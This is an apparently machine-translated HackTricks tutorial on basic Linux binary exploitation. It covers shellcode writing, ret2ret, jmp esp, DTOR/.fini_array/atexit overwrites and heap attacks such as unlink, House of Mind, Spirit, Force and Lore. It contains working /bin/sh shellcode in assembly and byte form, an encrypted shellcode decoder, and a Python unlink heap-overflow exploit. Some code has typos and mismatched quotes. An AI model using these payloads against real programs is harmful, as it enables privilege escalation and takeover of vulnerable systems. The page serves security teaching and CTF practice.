.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Basic) (SPA)
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFT收藏品
- 加入 💬 Discord群 或 电报群 或在Twitter上关注我们 🐦 @hacktricks_live。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
2.SHELLCODE
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; clear eax
xor ebx, ebx ; ebx = 0 as there are no arguments to pass
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Execute syscall
nasm -f elf assembly.asm —> Returns a .o file
ld assembly.o -o shellcodeout —> Generates an executable with the assembly code and we can extract the opcodes with objdump
objdump -d -Mintel ./shellcodeout —> To verify that it is indeed our shellcode and extract the OpCodes
Verify that the shellcode works
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
为了确保系统调用被正确执行,应编译前一个程序并在strace ./PROGRAMA_COMPILADO中查看系统调用。
在创建shellcode时,可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码,并将EIP放入堆栈。在call指令之后,我们已经放入了所需的字符串,因此可以使用该EIP指向字符串,并继续执行代码。
EJ TRICK (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
使用堆栈(/bin/sh)的简单例子:
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
EJ FNSTENV是一个用于将FPU环境保存到指定内存位置的汇编指令。
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Hunter:
这是一小段代码,用于在进程关联的内存页面中搜索存储的 shellcode(查找 shellcode 中的某个签名)。在只有少量空间用于注入代码的情况下非常有用。
多态 Shellcode
这些是加密的 shell,其中包含一小段代码用于解密并跳转到它,使用 Call-Pop 技巧,这是一个凯撒加密的示例:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5.补充方法
Ret2Ret
适用于无法将堆栈地址放入EIP(检查EIP不包含0xbf)或无法计算shellcode位置的情况。但是,易受攻击的函数接受一个参数(shellcode将放在这里)。
因此,通过将EIP更改为ret地址,将加载下一个地址(即函数的第一个参数的地址)。换句话说,将加载shellcode。
Exploit示例:SHELLCODE +填充(直到EIP)+ &ret(堆栈的下几个字节指向shellcode的开头,因为将参数传递给堆栈中的地址)
似乎像strncpy这样的函数在完成后会从堆栈中删除存储shellcode的地址,从而使这种技术无法实现。换句话说,传递给函数作为参数的地址(存储shellcode的地址)被0x00修改,因此在调用第二个ret时会遇到0x00导致程序崩溃。
Murat技术
在Linux中,所有程序都从0xbfffffff开始映射
通过查看Linux中新进程堆栈的构建方式,可以开发一种利用程序在仅有shellcode变量的环境中启动的方法。因此,可以计算出shellcode变量的地址:addr = 0xbfffffff - 4 - strlen(FULL_EXECUTABLE_NAME) - strlen(shellcode)
这样可以轻松地获取包含shellcode的环境变量的地址。
这是因为execle函数允许创建仅包含所需环境变量的环境
Jump to ESP: Windows Style
由于ESP始终指向堆栈的开头,此技术涉及用jmp esp或call esp的地址替换EIP。这样,在覆盖EIP后,shellcode将保存在ESP执行ret后的位置,因为执行ret后ESP将指向下一个地址,即shellcode保存的位置。
如果Windows或Linux未启用ASLR,则可以调用存储在共享对象中的jmp esp或call esp。如果启用了ASLR,则可以在易受攻击的程序内部搜索。
此外,将shellcode放在EIP损坏后而不是在函数堆栈中间,使得在函数中执行的push或pop指令不会触及shellcode(如果放在函数堆栈中间可能会发生)。
类似于此,如果我们知道函数返回存储shellcode的地址,可以调用call eax或jmp eax(ret2eax)。
整数溢出
当变量无法处理传递给它的如此大的数字时,就会发生这种类型的溢出,可能是由于有符号和无符号变量之间的混淆,例如:
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
在上面的示例中,我们可以看到程序期望接收2个参数。第一个是下一个字符串的长度,第二个是字符串。
如果我们将第一个参数设为负数,将会显示len < 256,我们会通过这个过滤器,并且strlen(buffer)也会小于l,因为l是无符号整数,会非常大。
这种溢出不是为了在程序进程中写入内容,而是为了绕过设计不良的过滤器以利用其他漏洞。
未初始化的变量
未初始化的变量可能会取得任意值,观察这一点可能会很有趣。它可能会取决于前一个函数中某个变量的值,而这个变量可能会被攻击者控制。
.fini_array
本质上,这是一个包含在程序结束前将被调用的函数的结构。如果您可以通过跳转到一个地址来调用您的shellcode,或者在需要再次返回到主函数以利用格式字符串的情况下,这将会很有趣。
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
请注意,这不会创建一个永久循环,因为当你回到主函数时,canary会注意到,栈的末尾可能已经被破坏,函数不会再次被调用。因此,通过这种方法,你将能够多执行一次漏洞。
格式化字符串以转储内容
格式化字符串也可以被滥用来从程序内存中转储内容。
例如,在以下情况下,栈中有一个指向标志的本地变量。如果你找到内存中指向标志的指针在哪里,你可以使printf访问该地址并打印标志:
所以,标志在0xffffcf4c
从泄漏中,你可以看到指向标志的指针在第8个参数中:
因此,访问第8个参数,你可以获得标志:
请注意,根据先前的利用并意识到你可以泄漏内容,你可以将指针设置到printf
加载的可执行文件的部分,并完全转储它!
DTOR
{% hint style="danger" %} 现在很少见到带有dtor部分的二进制文件。 {% endhint %}
析构函数是在程序结束之前执行的函数。
如果你设法将一个shellcode的地址写入__DTOR_END__
,那么在程序结束之前将执行它。
获取此部分的地址:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
通常你会在值ffffffff
和00000000
之间找到DTOR部分。所以如果你只看到这些值,意味着没有任何函数注册。因此,覆盖00000000
的地址以执行shellcode。
格式化字符串到缓冲区溢出
sprintf将格式化字符串移动到一个变量中。因此,你可以滥用字符串的格式来导致变量中的缓冲区溢出。
例如,负载%.44xAAAA
将在变量中写入44B+"AAAA",这可能会导致缓冲区溢出。
__atexit 结构
{% hint style="danger" %} 现在很奇怪去利用这个。 {% endhint %}
atexit()
是一个函数,其他函数作为参数传递给它。这些函数将在执行**exit()
或main的返回时执行。
如果你可以修改其中任何一个函数的地址**,例如指向一个shellcode,你将控制这个进程,但目前这更加复杂。
目前要执行的函数地址被隐藏在几个结构后面,最终指向的地址不是函数的地址,而是用XOR加密和随机密钥进行位移。因此,目前这种攻击方式在x86和x64_86上不太有用。
加密函数是**PTR_MANGLE
。其他架构如m68k、mips32、mips64、aarch64、arm、hppa...不实现加密函数,因为它返回与输入相同**。因此,这些架构可以通过这种方式受到攻击。
setjmp() & longjmp()
{% hint style="danger" %} 现在很奇怪去利用这个。 {% endhint %}
Setjmp()
允许保存上下文(寄存器)
longjmp()
允许恢复上下文。
保存的寄存器是:EBX, ESI, EDI, ESP, EIP, EBP
问题在于EIP和ESP通过**PTR_MANGLE
函数传递,因此易受攻击的架构与上述相同**。
它们对错误恢复或中断很有用。
但根据我所了解,其他寄存器没有受到保护,因此如果在被调用的函数内部有call ebx
、call esi
或call edi
,就可以接管控制权。或者还可以修改EBP以修改ESP。
VTable和VPTR在C++中
每个类都有一个Vtable,它是一个指向方法的数组。
每个类的对象都有一个VPtr,它是指向其类数组的指针。VPtr是每个对象头的一部分,因此如果覆盖了VPtr,它可以被修改指向一个虚拟方法,这样执行函数就会转到shellcode。
预防措施和规避
替换Libsafe
通过以下方式激活:LD_PRELOAD=/lib/libsafe.so.2
或
“/lib/libsave.so.2” > /etc/ld.so.preload
它会将对一些不安全函数的调用拦截并替换为安全函数。这不是标准化的(仅适用于x86,不适用于使用-fomit-frame-pointer编译,不适用于静态编译,不是所有易受攻击的函数都变得安全,LD_PRELOAD在具有suid权限的二进制文件中无效)。
ASCII装甲地址空间
将共享库加载到0x00000000至0x00ffffff,以便始终存在一个字节0x00。然而,这实际上几乎无法阻止任何攻击,尤其是在little endian中。
ret2plt
通过ROP调用plt中的strcpy函数,并指向GOT的条目,将要调用的函数(system())的第一个字节复制过来。然后重复此过程指向GOT+1,并复制system()的第二个字节... 最后调用GOT中保存的地址,即system()。
使用chroot()创建cages
debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统
管理员可以通过以下方式离开其中一个cage:mkdir foo; chroot foo; cd ..
代码插装
Valgrind —> 检查错误
Memcheck
RAD(Return Address Defender)
Insure++
8堆溢出:基本利用
已分配块
prev_size |
size | —Header
*mem | 数据
空闲块
prev_size |
size |
*fd | 指向前向块的指针
*bk | 指向后向块的指针 —Header
*mem | 数据
空闲块以双向链表(bin)的形式存在,两个空闲块永远不会相邻(它们会合并)。
在“size”中有一些位用于指示:前一个块是否正在使用,块是否通过mmap()分配,块是否属于主要的arena。
释放块时,如果相邻的块中有任何一个是空闲的,则通过unlink()宏将它们合并,并将最大的新块传递给frontlink()以将其插入到适当的bin中。
unlink(){
BK = P->bk; —> 新块的BK是之前空闲块的BK
FD = P->fd; —> 新块的FD是之前空闲块的FD
FD->bk = BK; —> 下一个块的BK指向新块
BK->fd = FD; —> 前一个块的FD指向新块
}
因此,如果我们成功修改了P->bk为shellcode的地址,并将P->fd修改为GOT或DTORS中的一个条目的地址减去12,就可以实现:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
这样在程序退出时将执行shellcode。
此外,unlink()的第四条语句会写入一些内容,因此shellcode必须为此进行修复:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> 这将从shellcode的第8个字节开始写入4个字节,因此shellcode的第一条指令必须是跳转指令以跳过此处并进入一系列nop指令,最终执行shellcode的其余部分。
因此,利用程序:
在buffer1中插入shellcode,以跳转指令开头,使其跳转到nop指令或shellcode的其余部分。
在shellcode之后插入填充,直到达到下一个块的prev_size和size字段。在这些位置插入0xfffffff0(覆盖prev_size以设置空闲位)和“-4”(0xfffffffc)到size(以便在第三个块检查第二个块是否空闲时实际上会到达修改后的prev_size,告诉它第二个块是空闲的) -> 这样当free()调查时,它将转到第三个块的size,但实际上会转到第二个块 - 4,并认为第二个块是空闲的。然后调用unlink()。
调用unlink()时,将第二个块的前几个数据用作P->fd,因此将在那里插入要覆盖的地址 - 12(因为在FD->bk中将地址减去12)。并在该地址中插入第二个块中找到的第二个地址,我们希望它是shellcode的地址(伪造的P->bk)。
from struct import *
import os shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #希望前一个块的空闲位为1
fake_size = pack("<I”, 0xfffffffc) #-4, 让第3块的“size”向前偏移4字节(指向prev_size),因为它检查第2块是否空闲的位置在这里
addr_sc = pack("<I", 0x0804a008 + 8) #在payload开头添加8字节填充
got_free = pack("<I", 0x08048300 - 12) #free()在plt中的地址-12(将被覆盖以第2次调用free时执行shellcode)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #如前所述,payload以8字节填充开始
payload += prev_size + fake_size + got_free + addr_sc #修改第2块,got_free指向我们将保存地址addr_sc + 12的位置
os.system("./8.3.o " + payload)
unset()反向释放(战争游戏)
我们控制3个连续的块,并按相反顺序释放它们。
在块c中放置shellcode
我们使用块a来覆盖块b,使得size字段的PREV_INUSE位被禁用,以便它认为块a是空闲的。
此外,在块b的头部中覆盖size使其为-4。
因此,程序会认为“a”是空闲的并且在一个bin中,因此会调用unlink()来解除它。但是,由于头部的PREV_SIZE为-4,它会认为“a”块实际上从b+4开始。也就是说,它会解除一个从b+4开始的块,因此在b+12处将是指针“fd”,在b+16处将是指针“bk”。
因此,如果我们在bk中放置shellcode的地址,并在fd中放置函数“puts()”-12的地址,我们就有了有效载药。
Frontlink技术
当释放某个块时,其相邻块均未空闲,不会调用unlink(),而是直接调用frontlink()。
这是一个有用的漏洞,当攻击的malloc从不被释放(free())时。
需要:
一个可以通过数据输入函数溢出的缓冲区
一个与之相邻的缓冲区,应该被释放,并且通过前一个缓冲区的溢出将其头部的fd字段修改
一个要释放的缓冲区,其大小大于512但小于前一个缓冲区
在第3步之前声明一个缓冲区,允许覆盖其prev_size
通过这种方式,通过无序地覆盖两个malloc,并且通过控制释放仅一个malloc,我们可以进行利用。
双重free()漏洞
如果两次使用相同指针调用free(),则会有两个bin指向相同地址。
如果要重新使用一个,可以轻松分配。如果要使用另一个,则将分配相同的空间,因此我们将具有伪造的“fd”和“bk”指针,这些指针是由前一个保留写入的数据。
After free()
重新使用先前释放的指针而不受控制。
8堆溢出:高级利用
Unlink()和FrontLink()技术在修改unlink()函数时被删除。
The house of mind
只需一次free()调用即可触发任意代码执行。有助于查找第二个块,可以被前一个块溢出并释放。
调用free()会调用public_fREe(mem),它执行以下操作:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> 返回指向块开头的指针(mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
在[1]中检查size字段的NON_MAIN_ARENA位,可以更改以使检查返回true并执行heap_for_ptr(),该函数对“mem”进行与操作,将最不重要的2.5字节设置为0(在我们的情况下,从0x0804a000变为0x08000000),然后访问0x08000000->ar_ptr(就像是一个heap_info结构体)
因此,如果我们可以控制一个块,例如在0x0804a000处,并且将要释放的块位于0x081002a0,我们可以到达0x08100000地址并写入我们想要的内容,例如0x0804a000。当释放第二个块时,heap_for_ptr()将返回0x08100000的内容(因为它应用于0x081002a0的与操作,从中提取前4个字节的值,ar_ptr)
这样就会调用_int_free(ar_ptr, mem),即**_int_free(0x0804a000, 0x081002a0)**
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
如前所述,我们可以控制av的值,因为它是我们写入要释放的块中的内容。
正如unsorted_chunks所定义的那样,我们知道:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
因此,如果我们在av->bins[2]中写入__DTOR_END__-12的值,最后一条指令将在__DTOR_END__中写入第二块的prev_size地址。
也就是说,在第一个块中,我们需要在开头多次放置__DTOR_END__-12的地址,因为av->bins[2]将从那里获取值
在第二块中,通过第一个块,我们将prev_size覆盖为跳转0x0c,size为某些内容以激活-> NON_MAIN_ARENA
然后,在第二块中放置大量的nops,最后是shellcode
这样就会调用_int_free(TROZO1, TROZO2),并按照指令写入__DTOR_END__中第二块的prev_size地址,该地址将跳转到shellcode。 为了应用这种技术,需要满足一些要求,这些要求会使 payload 变得更加复杂。
这种技术已不适用,因为几乎与 unlink 应用了相同的补丁。它会比较新指向的位置是否也指向它。
Fastbin
这是 The house of mind 的一个变种
我们希望执行以下代码,这需要通过 _int_free() 函数的第一个检查后才能到达:
fb = &(av->fastbins[fastbin_index(size)] —> 其中 fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
这样,如果将“fb”设置为指向 GOT 中的一个函数的地址,然后在该地址上放置被覆盖的块的地址。为此,需要使堆区域接近 dtors 的地址。更准确地说,av->max_fast 必须位于我们将要覆盖的地址处。
由于 The House of Mind 中我们发现我们控制了 av 的位置。
因此,如果在 size 字段中放入一个大小为 8 + NON_MAIN_ARENA + PREV_INUSE 的值,fastbin_index() 将返回 fastbins[-1],它将指向 av->max_fast。
在这种情况下,av->max_fast 将被覆盖(不是指向的地址,而是将被覆盖的位置)。
此外,释放的相邻块的大小必须大于 8 -> 因为我们已经说过释放块的大小为 8,在这个虚假块中,我们只需要放置一个大于 8 的大小(因为 shellcode 将放在释放的块中,所以需要在开头放置一个跳转到 nops 的 jmp)。
此外,这个虚假块必须小于 av->system_mem。av->system_mem 位于该位置的后面 1848 字节。
由于 _DTOR_END_ 中的空值和 GOT 中的少量地址,这些部分的任何地址都不适合被覆盖,因此让我们看看如何应用 fastbin 来攻击堆栈。
另一种攻击方式是将 av 重定向到堆栈。
如果我们将 size 修改为 16 而不是 8,则 fastbin_index() 将返回 fastbins[0],我们可以利用这一点来覆盖堆栈。
为此,堆栈中不应该有任何 canary 或奇怪的值,实际上我们必须处于这种情况:4 个空字节 + EBP + RET
需要这 4 个空字节是因为 av 将位于这个地址,而 av 的第一个元素是 mutex,其值必须为 0。
av->max_fast 将是 EBP,并且将是一个值,可用于绕过限制。
av->fastbins[0] 将被覆盖为 p 的地址,并且将成为 RET,这样就会跳转到 shellcode。
此外,在 av->system_mem(在堆栈位置之上的 1484 字节处)将有足够的垃圾,可以帮助我们绕过检查。
此外,释放的相邻块的大小必须大于 8 -> 因为我们已经说过释放块的大小为 16,在这个虚假块中,我们只需要放置一个大于 8 的大小(因为 shellcode 将放在释放的块中,所以需要在开头放置一个跳转到新虚假块的 size 字段后面的 nops)。
The House of Spirit
在这种情况下,我们希望有一个指向 malloc 的指针,该指针可以被攻击者修改(例如,该指针位于堆栈上,可能会发生变量溢出)。
因此,我们可以使该指针指向任何位置。然而,并非所有位置都是有效的,虚假块的大小必须小于 av->max_fast,并且更具体地等于未来对 malloc() 的调用请求的大小加 8。因此,如果我们知道在此脆弱指针之后会调用 malloc(40),则虚假块的大小必须等于 48。
例如,如果程序要求用户输入一个数字,我们可以输入 48,并将可修改的 malloc 指针指向接下来的 4 个字节(可能属于 EBP,这样 48 就会留在后面,就像是 size 头部)。此外,地址 ptr-4+48 必须满足几个条件(在这种情况下,ptr=EBP),即 8 < ptr-4+48 < av->system_mem。
如果这些条件满足,当调用我们说过的下一个 malloc,即 malloc(40) 时,将把 EBP 的地址分配给它。如果攻击者还可以控制在此 malloc 中写入的内容,可以覆盖 EBP 和 EIP,使其指向任何地址。
我认为这是因为这样,当调用 free() 时,它会保存指向堆栈上 EBP 的地址处有一个完美大小的新 malloc() 块,因此将分配该地址。
The House of Force
需要:
- 一个允许覆盖 wilderness 的溢出块
- 一个由用户定义大小的 malloc() 调用
- 一个用户可以定义数据的 malloc() 调用
首先要做的是用一个非常大的值(0xffffffff)覆盖 wilderness 块的大小(size),这样任何足够大的内存请求都将在不需要扩展堆的情况下在 _int_malloc() 中处理。
其次是修改 av->top,使其指向攻击者控制的内存区域,如堆栈。在 av->top 中,将放置 &EIP - 8。
我们必须覆盖 av->top,使其指向攻击者控制的内存区域:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim 获取当前 wilderness 块的地址(当前 av->top)的值,remainder 正好是该地址加上 malloc() 请求的字节数。因此,如果 &EIP-8 在 0xbffff224,av->top 包含 0x080c2788,则为了使 av->top 指向下一个 malloc() 的 $EIP-8,我们需要在受控制的 malloc 中保留的数量为:
0xbffff224 - 0x080c2788 = 3086207644。
这样就会保存修改后的 av->top 值,下一个 malloc 将指向 EIP,并且可以被覆盖。
重要的是新 wilderness 块的大小要大于最后一个 malloc() 请求的大小。也就是说,如果 wilderness 指向 &EIP-8,那么 size 将正好位于堆栈的 EBP 字段处。
The House of Lore
SmallBin 损坏
释放的块根据其大小放入 bin 中。但在放入之前,它们会被保存在 unsorted bins 中。释放块不会立即放入其 bin 中,而是留在 unsorted bins 中。然后,如果分配新块并且先前释放的块可以满足需求,则将其返回,但如果分配更大的块,则将 unsorted bins 中的释放块放入适当的 bin 中。
要达到易受攻击的代码,内存请求必须大于 av->max_fast(通常为 72)且小于 MIN_LARGE_SIZE(512)。
如果 bin 中有一个大小适当的块,则在解除链接后返回该块:
bck = victim->bk; 指向前一个块,这是我们唯一可以修改的信息。
bin->bk = bck; 倒数第二个块变为最后一个块,如果 bck 指向堆栈,则下一个分配的块将指向此地址
bck->fd = bin; 关闭列表,使其指向 bin
需要:
基本的堆溢出攻击
- 预留两个
malloc
,使第一个可以在第二个被释放并放入其 bin 后进行溢出(即在溢出之前分配一个比第二块更大的malloc
) - 攻击者控制分配给其选择地址的
malloc
的内存 - 目标是:如果我们可以对一个堆进行溢出,而其下方有一个已被释放并放入 bin 中的块,我们可以修改其指针
bk
。如果修改了bk
指针,并且该块成为 bin 列表中的第一个块并被重新分配,bin 将被欺骗,并告诉其下一个要提供的块位于我们设置的虚假地址(例如堆栈或 GOT)。因此,如果再次分配另一个块并且攻击者有权限,将在所需位置获得一个块并可以向其中写入内容。 - 在修改块后,需要释放修改后的块,并分配一个比释放的块更大的块,这样修改后的块将离开未排序的 bin 并被放入其 bin 中。
- 一旦进入其 bin,就是修改溢出以使其指针
bk
指向我们想要覆盖的地址的时候。 - 因此,bin 必须等待足够多次调用
malloc()
,以便再次使用修改后的 bin 并欺骗 bin,使其相信下一个块位于虚假地址。然后将提供我们感兴趣的块。 - 为了尽快执行漏洞,理想情况是:预留易受攻击的块,预留将被修改的块,释放此块,分配一个比将被修改的块更大的块,修改块(漏洞),分配一个与受攻击块相同大小的块,再次分配一个相同大小的第二块,这将指向所选地址。
- 为了保护此攻击,通常会使用典型的检查,即“不”是虚假块:检查
bck->fd
是否指向受害者。也就是说,在我们的情况下,如果堆栈中指向受害者的虚假块的fd
指针指向受害者。要绕过此保护,攻击者必须以某种方式(可能通过堆栈)能够在适当的地址写入受害者的地址,以便看起来像一个真实块。
大型 Bin 破坏
- 需要与之前相同的要求以及更多要求,此外,预留的块大小必须大于 512。
- 攻击与之前类似,即需要修改
bk
指针并需要所有这些对malloc()
的调用,但还需要修改已修改块的大小,使得size - nb
小于MINSIZE
。 - 例如,将大小设置为 1552,使得 1552 - 1544 = 8 < MINSIZE(减法不能为负,因为是无符号比较)
- 此外,还引入了一个补丁,使其更加复杂。
堆喷射
- 基本上是预留尽可能多的堆内存,并用一组以 shellcode 结尾的 nop 填充这些内存。此外,将 0x0c 用作填充物。因此,将尝试跳转到地址 0x0c0c0c0c,因此,如果覆盖了将使用此填充物调用的任何地址,将跳转到那里。基本策略是尽可能多地预留内存,以查看是否覆盖了任何指针并跳转到 0x0c0c0c0c,希望那里有 nop。
堆风水
- 通过预留和释放来分配内存,使得在空闲块之间留下已预留的块。要溢出的缓冲区将位于其中一个块中。